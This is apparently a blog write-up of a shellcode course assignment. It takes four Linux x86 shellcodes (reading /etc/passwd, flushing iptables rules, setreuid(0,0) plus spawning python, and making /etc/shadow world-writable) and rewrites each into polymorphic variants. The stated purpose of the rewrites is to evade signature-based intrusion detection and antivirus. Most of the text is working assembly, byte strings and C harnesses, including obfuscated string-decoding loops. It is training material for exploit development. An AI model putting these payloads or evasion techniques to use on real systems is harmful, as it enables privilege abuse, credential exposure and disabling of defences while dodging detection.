SLAE: Assignment 6 of 7

Assignment #6:
- Take up 3 shellcodes from shell-storm and create polymorphic versions of them to beat pattern matching
- The polymorphic versions cannot be larger than 150% of the existing shellcode
- Bonus points for making the polymorphed code shorter in length than the original code
=====================================================================

Polymorphed code is code that has been changed without affecting the intent of the original code.
For instance, take the following instruction:
MOV ECX, 00000000
It could be replaced by the following instruction which achieves the exact same result:
XOR ECX, ECX

Similarly, the following instructions:
XOR EAX, EAX
XOR ECX, ECX
XOR EDX, EDX
Can be replaced by:
XOR ECX, ECX
MUL ECX

There are a lot of ways to polymorph code so this will be a fun exercise. We'll be going for the bonus points, of course!

We navigate to http://shell-storm.org/shellcode/ and scroll down to the Linux/x86 section.

We've already created reverse and bind shells so I was after something different this time.
I came up with a selection of shellcodes that provide a good mix of functionality.

; Source: http://shell-storm.org/shellcode/files/shellcode-73.php
; Filename: filereader.nasm
_start:
xor    eax, eax
xor    ebx, ebx
xor    ecx, ecx
xor    edx, edx
jmp    two

one:
pop    ebx

mov    al, 5
xor    ecx, ecx
int    0x80

mov    esi, eax
jmp    read

exit:
mov    al, 1
xor    ebx, ebx
int    0x80

read:
mov    ebx, esi
mov    al, 3
sub    esp, 1
lea    ecx, [esp]
mov    dl, 1
int    0x80

xor    ebx, ebx
cmp    ebx, eax
je    exit

mov    al, 4
mov    bl, 1
mov    dl, 1
int    0x80

add    esp, 1
jmp    read

two:
call    one
db "/etc/passwd"

Note: Our polymorphed shellcode (filereader2.nasm):

; Filename: filereader2.nasm
_start:
;xor    eax, eax ; set EAX to 0
;xor    ebx, ebx ; set EBX to 0
;xor    ecx, ecx ; set ECX to 0
;xor    edx, edx ; set EDX to 0
xor     ecx, ecx ; set ECX to 0
push    ecx ; part of setting ESI to 0
pop    esi ; set ESI to 0, we use this later during xchg eax, esi
mul     ecx ; set EAX and EDX to 0
inc     edx ; this replaces two "mov dl, 1" later in the code
; there is no need to set EBX to 0 since we POP "/etc/passwd" into it later
jmp     two ; JMP-CALL-POP technique
one:
pop    ebx ; JMP-CALL-POP technique
;mov    al, 5 ; SET AL to 5 (EAX = 00000005) ; we can replace this with push 5, pop eax
push    byte 5 ; this is used to set EAX to 5
pop    eax ; set EAX to 5
int    0x80 ; syscall(open) stores the FD in EAX
;mov    esi, eax ; Store FD in ESI ; can be replaced with xchg eax, esi since we set ESI is 0
xchg    eax, esi
read:
mov    ebx, esi ; Store FD in EBX
mov    al, 3 ; syscall(read)
;sub    esp, 1 ; can be replaced with dec esp
;dec     esp ; there is no obvious reason why ESP is being decreased and later increased - unneccesary
lea    ecx, [esp+1] ; read result is stored in ESP-1 (to prevent polluting the stack)
;mov    dl, 1 ; read one byte ; not required anymore since this is set at the start via inc edx
int    0x80 ; syscall(read) stores read byte in ESP-1

;xor    ebx, ebx ; set EBX to 0 ; There is no need for this if we replace CMP below with TEST
;cmp    ebx, eax ; if eax is 0 then end of file is reached
test    eax, eax ; text is EAX is 0 (end of file)
;je    exit ; if end of file then exit
jne    write ; if not reached end of file then write result to screen (we inverted the je with jne)
exit:
inc    eax ; since we can only get here if EAX is zero (conditional jump) we can INC EAX to set AL to         ;xor    ebx, ebx ; not required, we don't care about exit code
int    0x80 ; exit gracefully
write:
mov    al, 4 ; syscall(write)
mov    bl, 1 ; FD(1) = STDOUT
;ECX = pointer to the byte we just read
;mov    dl, 1 ; write one byte ; not required anymore since this is set at the start via inc edx
int    0x80 ; syscall(write) writes the byte to STDOUT

;add    esp, 1 ; we can replace this with "inc esp"
;inc    esp ; unnecessary now since we don't touch the stack
jmp    read
two:
call    one ; JMP-CALL-POP technique
db "/etc/passwd"

Note: Our polymorphed shellcode has a length of 57 bytes:

objdump -d ./filereader2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d " -s |sed 's/^/"/'|sed 's/$/"/g'

\x31\xc9\x51\x5e\xf7\xe1\x42\xeb\x20\x5b\x6a\x05\x58\xcd\x80\x96\x89\xf3\xb0\x03\x8d\x4c\x24\x01\xcd\x80\x85\xc0\x75\x03\x40\xcd\x80\xb0\x04\xb3\x01\xcd\x80\xeb\xe7\xe8\xdb\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64

Note: The original shellcode has a length of 76 bytes:
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64″

Note: Our shellcode is quite a bit different to the original shellcode. Also, our polymorphed shellcode is 19 bytes smaller. We could further reduce the size, but this would undo some of our polymorphing.

===========================
Note: Our next original shellcode:

/*
Source: http://shell-storm.org/shellcode/files/shellcode-365.php
#include <stdio.h>
#include <string.h>
/*
__asm__("
sub     $0x4,%esp   ## Con esto conseguimos que la shellcode nunca se
popl    %esp        ## sobreescriba... gracias RaiSe🙂
xorl    %edx,%edx   ## %edx a cero
pushl   %edx        ## y ponemos los zeros del final del string en memoria
pushw   $0x462d     ## tenemos -F0000
movl    %esp,%esi   ## wardamos argv[1] en %esi
pushl   %edx        ## 0000-F0000
pushl   $0x736e6961
pushl   $0x68637069 ## ipchains0000-F0000
movl    %esp,%edi   ## wardamos argv[0] en %edi
pushl   $0x2f6e6962
pushl   $0x732f2f2f ## ///sbin/ipchains0000-F0000
movl    %esp,%ebx   ## en %ebx, el nombre de archivo
pushl   %edx        ## 0000///sbin/ipchains0000-F0000
pushl   %esi        ## A[1]0000///sbin/ipchains0000-F0000
pushl   %edi        ## A[0]A[1]0000///sbin/ipchains0000-F0000
movl    %esp,%ecx   ## %ecx apunta a el inicio del argv[]
xorl    %eax,%eax
movb    $0xb,%al
int     $0x80
");
*/
char c0de[]=
"\x83\xec\x04\x5c\x31\xd2\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x61\x69\x6e\x73"
"\x68\x69\x70\x63\x68\x89\xe7\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x73\x89\xe3"
"\x52\x56\x57\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";

/* execve("///sbin/ipchains",ARGV,NULL);
* ARGV[] = {"ipchains","-F",NULL}
*/

int main(void)
{
long *toRET;
char vuln[52];
*(&toRET+2) = (long *)c0de;
strcpy(vuln, c0de);
printf("Shellc0de length: %d\nRunning.......\n\n", strlen(c0de));
return(0);
}
echo $'\x83\xec\x04\x5c\x31\xd2\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x61\x69\x6e\x73\x68\x69\x70\x63\x68\x89\xe7\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\x31\xc0\xb0\x0b\xcd\x80′ | ndisasm -u -

sub esp,byte +0x4
pop esp
xor edx,edx
push edx
push word 0x462d
mov esi,esp
push edx
push dword 0x736e6961
push dword 0x68637069
mov edi,esp
push dword 0x2f6e6962
push dword 0x732f2f2f
mov ebx,esp
push edx
push esi
push edi
mov ecx,esp
xor eax,eax
mov al,0xb
int 0x80
db 0x0a

Note: Although the comments are in Spanish, we know that the program is supposed to run the following command:
execve("///sbin/ipchains",ARGV,NULL);* ARGV[] = {"ipchains","-F",NULL}. the program will need some fixing: ipchains has been replaced by iptables in later version of ubuntu and the sub esp,byte +0x4 -> pop esp causes esp to reset to 00000000 which is not desirable for this piece of code. We don't need it so we'll save some bytes, a win-win.

Note: The fixed shellcode (cleariptables.nasm):

; filename cleariptables.nasm
_start:
;
; execve("///sbin/iptables",ARGV,NULL);
; * ARGV[] = {"iptables","-F",NULL}
;
mov eax, 0xFFFFFFFF
mov ebx, 0xFFFFFFFF
mov ecx, 0xFFFFFFFF
mov edx, 0xFFFFFFFF
mov esi, 0xFFFFFFFF
mov edi, 0xFFFFFFFF
mov ebp, 0xFFFFFFFF
;
;sub esp,byte +0x4
;pop esp ; ESP = 0x080484B0
xor edx,edx ; EDX = 0x00000000
push edx
; * ARGV[] = {"iptables","-F",NULL}
; on stack = NULL
push word 0x462d ; "-F"
mov esi,esp
; * ARGV[] = {"iptables","-F",NULL}
; ESI = "-F"
push edx
; this EDX push separates array elements with 00000000
;ubuntu uses iptables and not ipchains, so we change this here
;push dword 0x736e6961 ; "ains"
;push dword 0x68637069 ; "ipch"
push dword 0x73656c62 ; "bles"
push dword 0x61747069 ; "ipta"
mov edi,esp
; * ARGV[] = {"iptables","-F",NULL}
; EDI = "iptables"
push dword 0x2f6e6962 ; "bin/"
push dword 0x732f2f2f ; "///s"
mov ebx,esp
; execve("///sbin/iptables",ARGV,NULL);
; EBX = "///sbin/iptables"
push edx
; push "00 00 00 00"
push esi
; push "-F"
push edi
; push "iptables"
mov ecx,esp
; ECX = "iptables -F"
xor eax,eax
; EAX = 00000000
mov al,0xb
; EAX = 0000000b (EXECVE)
int 0x80
; SYSCALL Execve("///sbin/iptables",{"iptables","-F",NULL},NULL)
; db 0x0a

Note: We compile the program and check whether it works:

./compile.sh cleariptables
iptables -A INPUT -s 10.123.1.200 -j DROP
iptables -n -L

Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       all  --  10.123.1.200         0.0.0.0/0
Note: Now we need to confirm that the entry is gone after executing ./cleariptables

./cleariptables
iptables -n -L

Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Note: Now that we confirmed our slightly modified code works, we can start polymorphing it.

; filename cleariptables2.nasm
_start:
;xor edx,edx ; EDX = 0x00000000
sub ebx,ebx ; EBX = 0x00000000
;later in the code, EAX is set to 0, we can do that now with a mul!
mul ebx
;push edx
;push eax ; since EAX and EDX are both zero now, we can push EAX instead of EDX
;push word 0x462d ; "-F"; we can replace this and push eax with:
add bx,0x462d
push ebx; this pushes 2d 46 00 00 on the stack
;mov esi,esp; we replace this mov with a push->pop
push esp
pop esi
;push edx ; replaced by push eax
push eax
push dword 0x73656c62 ; "bles"
push dword 0x61747069 ; "ipta"
;mov edi,esp; we replace this mov with a push->pop
push esp
pop edi
push dword 0x2f6e6962 ; "bin/"
push dword 0x732f2f2f ; "///s"
;mov ebx,esp; we replace this mov with a push->pop
push esp
pop ebx
;push edx; replaced by push eax
push eax
push esi
push edi
;mov ecx,esp ; we replace this mov with a push->pop
push esp
pop ecx
;xor eax,eax ; replaced by mul edx (0x00000000)
;mov al,0xb; we replace this with add eax, 0xb
add eax, 0xb
int 0x80

Note: We confirm the code still works:

iptables -A INPUT -s 10.123.1.200 -j DROP
iptables -n -L
./cleariptables2
iptables -n -L

Note: We use some command-line-fu to get our shellcode bytes:

objdump -d ./cleariptables2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d " -s |sed 's/^/"/'|sed 's/$/"/g'

Note: Our polymorphed shellcode is 2 bytes shorter than the original shellcode:
\x29\xdb\xf7\xe3\x66\x81\xc3\x2d\x46\x53\x54\x5e\x50\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x54\x5f\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x73\x54\x5b\x50\x56\x57\x54\x59\x83\xc0\x0b\xcd\x80

Note: The original shellcode:
"\x83\xec\x04\x5c\x31\xd2\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x61\x69\x6e\x73\x68\x69\x70\x63\x68\x89\xe7\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"

Now, although this might be good enough for this assignment, the shellcode is still somewhat similar mainly because of the instructions that push the literal strings on the stack. We will modify them so that the code becomes significantly different.

; filename cleariptables3.nasm
_start:
sub ebx,ebx ; EBX = 0x00000000
mul ebx
add bx,0x462d
push ebx; this pushes 2d 46 00 00 on the stack
push esp
pop esi
push eax
;push dword 0x73656c62 ; "bles"
mov ebx, 0x39B2B631
shl ebx, 1
push ebx
;push dword 0x61747069 ; "ipta"
mov ebx, 0x30BA3834
shl ebx, 1
inc ebx
push ebx
push esp
pop edi
;push dword 0x2f6e6962 ; "bin/"
mov ebx, 0x17B734B1
shl ebx, 1
push ebx
;push dword 0x732f2f2f ; "///s"
mov ebx, 0x39979797
shl ebx, 1
inc ebx
push ebx
push esp
pop ebx
push eax
push esi
push edi
push esp
pop ecx
add eax, 0xb
int 0x80

Note: We check that the shellcode still works:

iptables -A INPUT -s 10.123.1.200 -j DROP
iptables -n -L
./cleariptables3
iptables -n -L

Note: We use the command-line-fu to get our shellcode bytes:

objdump -d ./cleariptables3|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d " -s |sed 's/^/"/'|sed 's/$/"/g'

Note: Our new polymorphed shellcode is now 12 bytes longer than the original shellcode, and 14 bytes longer than our other polymorphed version (still well within the 150% margin). Despite having the option of a 2 byte shorter polymorphed variant, I feel that this shellcode is substantially better as it completely changes even the literal strings pushed on the stack:
\x29\xdb\xf7\xe3\x66\x81\xc3\x2d\x46\x53\x54\x5e\x50\xbb\x31\xb6\xb2\x39\xd1\xe3\x53\xbb\x34\x38\xba\x30\xd1\xe3\x43\x53\x54\x5f\xbb\xb1\x34\xb7\x17\xd1\xe3\x53\xbb\x97\x97\x97\x39\xd1\xe3\x43\x53\x54\x5b\x50\x56\x57\x54\x59\x83\xc0\x0b\xcd\x80

Note: The original shellcode:
"\x83\xec\x04\x5c\x31\xd2\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x61\x69\x6e\x73\x68\x69\x70\x63\x68\x89\xe7\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"

============================
Our next shellcode:

# Source: http://shell-storm.org/shellcode/files/shellcode-886.php
# Title: Shellcode Linux x86 [54Bytes] Run /usr/bin/python | setreuid(),execve()
# Date: 8/5/2014
# Author: Ali Razmjoo
# Tested on: kali-linux-1.0.4-i386 [3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux ]

/*
Ali Razmjoo , Ali.Razmjoo1994@Gmail.Com
Shellcode Linux x86 Run /usr/bin/python | setreuid(),execve()
Shellcode Length: 54

00000000 <_start>:
0:   31 c0                   xor    %eax,%eax
2:   b0 46                   mov    $0x46,%al
4:   31 db                   xor    %ebx,%ebx
6:   31 c9                   xor    %ecx,%ecx
8:   cd 80                   int    $0x80
a:   eb 16                   jmp    22 <last>
0000000c <first>:
c:   5b                      pop    %ebx
d:   31 c0                   xor    %eax,%eax
f:   88 43 0f                mov    %al,0xf(%ebx)
12:   89 5b 10                mov    %ebx,0x10(%ebx)
15:   89 43 14                mov    %eax,0x14(%ebx)
18:   b0 0b                   mov    $0xb,%al
1a:   8d 4b 10                lea    0x10(%ebx),%ecx
1d:   8d 53 14                lea    0x14(%ebx),%edx
20:   cd 80                   int    $0x80
00000022 <last>:
22:   e8 e5 ff ff ff          call   c <first>
27:   2f                      das
28:   75 73                   jne    9d <last+0x7b>
2a:   72 2f                   jb     5b <last+0x39>
2c:   62 69 6e                bound  %ebp,0x6e(%ecx)
2f:   2f                      das
30:   70 79                   jo     ab <last+0x89>
32:   74 68                   je     9c <last+0x7a>
34:   6f                      outsl  %ds:(%esi),(%dx)
35:   6e                      outsb  %ds:(%esi),(%dx)
*/

#include <stdio.h>
#include <string.h>

char sc[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e";

int main(void)
{
fprintf(stdout,"Length: %d\n\n",strlen(sc));
(*(void(*)()) sc)();
}

Note: We grab the original assembly code using the bytes in the sourcecode above:

echo $'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e' | ndisasm -u -

00000000  31C0              xor eax,eax
00000002  B046              mov al,0x46
00000004  31DB              xor ebx,ebx
00000006  31C9              xor ecx,ecx
00000008  CD80              int 0x80
0000000A  EB16              jmp short 0x22
0000000C  5B                pop ebx
0000000D  31C0              xor eax,eax
0000000F  88430F            mov [ebx+0xf],al
00000012  895B10            mov [ebx+0x10],ebx
00000015  894314            mov [ebx+0x14],eax
00000018  B00B              mov al,0xb
0000001A  8D4B10            lea ecx,[ebx+0x10] 0000001D  8D5314            lea edx,[ebx+0x14] 00000020  CD80              int 0x80
00000022  E8E5FFFFFF        call dword 0xc
00000027  2F                das
00000028  7573              jnz 0x9d
0000002A  722F              jc 0x5b
0000002C  62696E            bound ebp,[ecx+0x6e] 0000002F  2F                das
00000030  7079              jo 0xab
00000032  7468              jz 0x9c
00000034  6F                outsd
00000035  6E                outsb
00000036  0A                db 0x0a

; filename runpython.nasm
section .text
global _start

_start:
;sys_setreuid(0,0)
SYS_SETREUID:
xor eax,eax
mov al,0x46
xor ebx,ebx
xor ecx,ecx
int 0x80
JMP:
jmp short CALL
POP:
pop ebx
;execve()
EXECVE:
xor eax,eax
mov [ebx+0xf],al
mov [ebx+0x10],ebx
mov [ebx+0x14],eax
mov al,0xb
lea ecx,[ebx+0x10]
lea edx,[ebx+0x14]
int 0x80
CALL:
call POP
db "/usr/bin/python"

Note: Since the code is modifying memory directly, we'll need to run it via C with memory protection disabled

objdump -d ./runpython|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d " -s |sed 's/^/"/'|sed 's/$/"/g'

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e

/*===================================================================*/
/*
Filename: runpython2.c
Author: JollyFrogs (LookoutFrog@gmail.com)

License: This work is licensed under a Creative Commons
Attribution-NonCommercial 4.0 International License.

Compile:
gcc -m32 -fno-stack-protector -z execstack runpython2.c -o runpython2
*/

#include <stdio.h>
#include <string.h>
#include <stdbool.h>

unsigned char shellcode[] = \
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e";

static bool shellcode_zerocheck() {
// initialize counter
int i = 0;
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
for(i = 0; i < sizeof(shellcode)-1; i++) {if (shellcode[i] == '\x00') return false;}
// Return true if no zeroes found
return true;
}

main () {
// Port in decimal - should be higher than 1024 and lower than 65536
// Basic error checking
if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
// Print shellcode length.
printf("Shellcode Length:  %d\n", strlen(shellcode));
// Run assembly commands
__asm__ (
// Initialize registers
"movl $0x12345678, %eax\n\t"
"movl $0x12345678, %ebx\n\t"
"movl $0x12345678, %ecx\n\t"
"movl $0x12345678, %edx\n\t"
"movl $0x12345678, %edi\n\t"
"movl $0x12345678, %esi\n\t"
"movl $0x12345678, %ebp\n\t"
// execute shellcode
"jmp shellcode");
}

Note: we test the assembly code which works:

gcc -m32 -fno-stack-protector -z execstack runpython2.c -o runpython2
./runpython2

Shellcode Length:  54
Python 2.7.3 (default, Feb 27 2014, 20:00:17)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>

Note: The code works and we polymorph our shellcode as follows:

 ; filename runpython3.nasm
section .text
global _start

_start:
;sys_setreuid(0,0)
SETREUID:
;xor eax,eax        ; replaced by sub ebx, ebx -> mul ebx
;xor ebx,ebx        ; replaced by sub ebx, ebx -> mul ebx
;xor ecx,ecx        ; replaced by push edx -> pop ecx
sub ebx, ebx        ; EBX = 0
sub ecx, ecx        ; ECX = 0
mul ecx             ; EAX = 0, EDX = 0
mov al,0x46         ; EAX = 00000046 (sys_setreuid)
int 0x80            ; SYSCALL sys_setreuid(0,0)
;JMP-CALL-POP replaced with PUSH instructions on stack
EXECVE:
;db "/usr/bin/python"; replaced with PUSH instructions
push edx            ; terminate "/usr/bin//python" with 0x00 character
push 0x6e6f6874     ; noht
push 0x79702f2f     ; yp//
push 0x6e69622f     ; nib/
push 0x7273752f     ; rsu/
mov ebx, esp        ; EBX => /usr/bin/python,0x00
push ebx
push edx
mov edx, esp        ; EDX => 00 00 00 00
mov ecx, esp        ; ECX => PTR to /usr/bin/python,0x00
;xor eax,eax        ; replaced with SALC
salc
;mov [ebx+0xf],al   ; replaced with push instructions to stack
;mov [ebx+0xf],dl   ; replaced with push instructions to stack
;mov [ebx+0x10],ebx ; replaced with push instructions to stack
;mov [ebx+0x14],eax ; replaced with push instructions to stack
mov al,0xb          ; EAX = 0000000b (sys_execve)
;lea ecx,[ebx+0x10]  ; replaced with push instructions to stack
;lea edx,[ebx+0x14]  ; replaced with push instructions to stack
int 0x80            ; SYSCALL execve(/usr/bin/python,0x00)

Note: Our polymorphed shellcode is 10 bytes smaller and substantially different to the original shellcode:

\x29\xdb\x29\xc9\xf7\xe1\xb0\x46\xcd\x80\x52\x68\x74\x68\x6f\x6e\x68\x2f\x2f\x70\x79\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x53\x52\x89\xe2\x89\xe1\xd6\xb0\x0b\xcd\x80

Note: Original shellcode:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e

Still, the same problem with absolute filenames to executables affects this shellcode, so we modify it to remove the hard links which any intrusion detection system or antivirus could pick up.

; filename runpython4.nasm
section .text
global _start

_start:
;sys_setreuid(0,0)
INITIALIZEREGS:
sub ebx, ebx        ; EBX = 0
push ebx
pop ecx             ; ECX = 0
mul ecx             ; EAX = 0, EDX = 0
PUSHCOMMAND:
push ecx
push 0xE4E6EA5E     ; rsu/ (Rotated Left)
push 0xDCD2C45E     ; nib/ (Rotated Left)
push 0xF2E05E5E     ; yp// (Rotated Left)
push 0xDCDED0E8     ; noht (Rotated Left)
INITIALIZEDECODE:
mov esi, esp        ; ESI = points to stack (which currently has the inverse command on it)
push ebx            ; push 00000000 which will be our null at the end of /usr/bin/python
REPEAT:
ror eax, 1          ; rotate right bitwise EAX to recover our original string
push eax            ; create our decoded new string on top of the existing stack
lodsd               ; load DWORD at ESI into EAX register
test eax, eax       ; if EAX = 0 then stop loop
jnz REPEAT          ; if MOVSD causes a carry overflow, then stop loop
SETREUID:
mov al,0x46         ; EAX = 00000046 (sys_setreuid)
int 0x80            ; SYSCALL sys_setreuid(0,0)
EXECVE:
mov ebx, esp        ; EBX => /usr/bin/python,0x00
push ebx            ; push pointer to /usr/bin/python,0x00 on stack
push ecx            ; push 00000000 on stack
mov ecx, esp        ; ECX => PTR to /usr/bin/python,0x00
mov al,0xb          ; EAX (00000000 due to success SETREUID) => 0000000b (sys_execve)
int 0x80            ; SYSCALL execve(/usr/bin/python,0x00)

Note: We use some magic to get our shellcode bytes as follows:

objdump -d ./runpython4|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d " -s |sed 's/^/"/'|sed 's/$/"/g'

\x29\xdb\x53\x59\xf7\xe1\x51\x68\x5e\xea\xe6\xe4\x68\x5e\xc4\xd2\xdc\x68\x5e\x5e\xe0\xf2\x68\xe8\xd0\xde\xdc\x89\xe6\x53\xd1\xc8\x50\xad\x85\xc0\x75\xf8\xb0\x46\xcd\x80\x89\xe3\x53\x51\x89\xe1\xb0\x0b\xcd\x80

Note: Original shellcode:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x0f\x89\x5b\x10\x89\x43\x14\xb0\x0b\x8d\x4b\x10\x8d\x53\x14\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x79\x74\x68\x6f\x6e

Note: Success! Our polymorphed shellcode (including obfuscated strings) is 2 bytes shorter than the original shellcode

============================
Note: Our next shellcode chmods the /etc/shadow file - exciting!

#include <stdio.h>
#include <string.h>
/*
Source: http://shell-storm.org/shellcode/files/shellcode-584.php
by Magnefikko
14.04.2010
magnefikko@gmail.com
promhyl.oz.pl
Subgroup: #PRekambr
Name: 36 bytes chmod("/etc/shadow", 0666) shellcode
Platform: Linux x86
chmod("/etc/shadow", 0666);
gcc -Wl,-z,execstack filename.c
shellcode:
\xeb\x12\x5b\x31\xc0\x31\xc9\x31\xd2\xb1\xb6\xb5\x01\xb0\x0f\x89\x53\x0b\xcd\x80\xe8\xe9\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77
*/
int main(){
char shell[] =
"\xeb\x12\x5b\x31\xc0\x31\xc9\x31\xd2\xb1\xb6\xb5\x01\xb0\x0f\x89\x53\x0b\xcd\x80\xe8\xe9\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77";
printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
(*(void (*)()) shell)();
}

Note: We disassemble the shellcode as follows

echo $'\xeb\x12\x5b\x31\xc0\x31\xc9\x31\xd2\xb1\xb6\xb5\x01\xb0\x0f\x89\x53\x0b\xcd\x80\xe8\xe9\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77′ | ndisasm -u -

00000000  EB12              jmp short 0x14
00000002  5B                pop ebx
00000003  31C0              xor eax,eax
00000005  31C9              xor ecx,ecx
00000007  31D2              xor edx,edx
00000009  B1B6              mov cl,0xb6
0000000B  B501              mov ch,0x1
0000000D  B00F              mov al,0xf
0000000F  89530B            mov [ebx+0xb],edx
00000012  CD80              int 0x80
00000014  E8E9FFFFFF        call dword 0x2
00000019  2F                das
0000001A  657463            gs jz 0x80
0000001D  2F                das
0000001E  7368              jnc 0x88
00000020  61                popad
00000021  646F              fs outsd
00000023  770A              ja 0x2f

Note: The original assembly code:

; filename 666shadow.nasm
; chmod("/etc/shadow", 0666)
; size
section .text
global _start

_start:
JMP:
jmp short 0x14
POP:
pop ebx
xor eax,eax
xor ecx,ecx
xor edx,edx
mov cl,0xb6        ; ECX = 0000000b6
mov ch,0x1         ; ECX = 0000001b6
mov al,0xf         ; EAX = 00000000f
mov [ebx+0xb],edx
int 0x80
CALL:
call dword POP
db "/etc/shadow"

Note: Our polymorphed version:

; filename 666shadow2.nasm
; chmod("/etc/shadow", 0666)
; size

section .text
global _start

_start:
;    "/etc//shadow" ; 2f657463 2f2f7368 61646f77
sub ecx,ecx       ; ECX = 0
mul ecx           ; EAX = 0, EDX = 0
push ecx          ; push 0x00 on stack
push 0x776f6461   ; woda
push 0x68732f2f   ; hs//
push 0x6374652f   ; cte/
mov ebx, esp      ; EBX = /etc/shadow
mov cx,0x1b6      ; ECX = 000001b6
mov al,0xf        ; EAX = 0000000f (sys_chmod)
int 0x80          ; SYSCALL chmod('/etc/shadow',438)
salc              ; EAX = 00000000
inc eax           ; sys_exit()
int 0x80          ; SYSCALL exit()

Note: We use some near-forgotten Ninja skills to extract the bytes:

objdump -d ./666shadow2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d " -s |sed 's/^/"/'|sed 's/$/"/g'

\x29\xc9\xf7\xe1\x51\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\xb6\x01\xb0\x0f\xcd\x80\xd6\x40\xcd\x80

Note: Original shellcode:
\xeb\x12\x5b\x31\xc0\x31\xc9\x31\xd2\xb1\xb6\xb5\x01\xb0\x0f\x89\x53\x0b\xcd\x80\xe8\xe9\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77

Note: We were able to add a proper exit routine (the original shellcode crashed after executing), polymorph the code, make it run from stack, and decrease the shellcode size by 2 bytes - nice!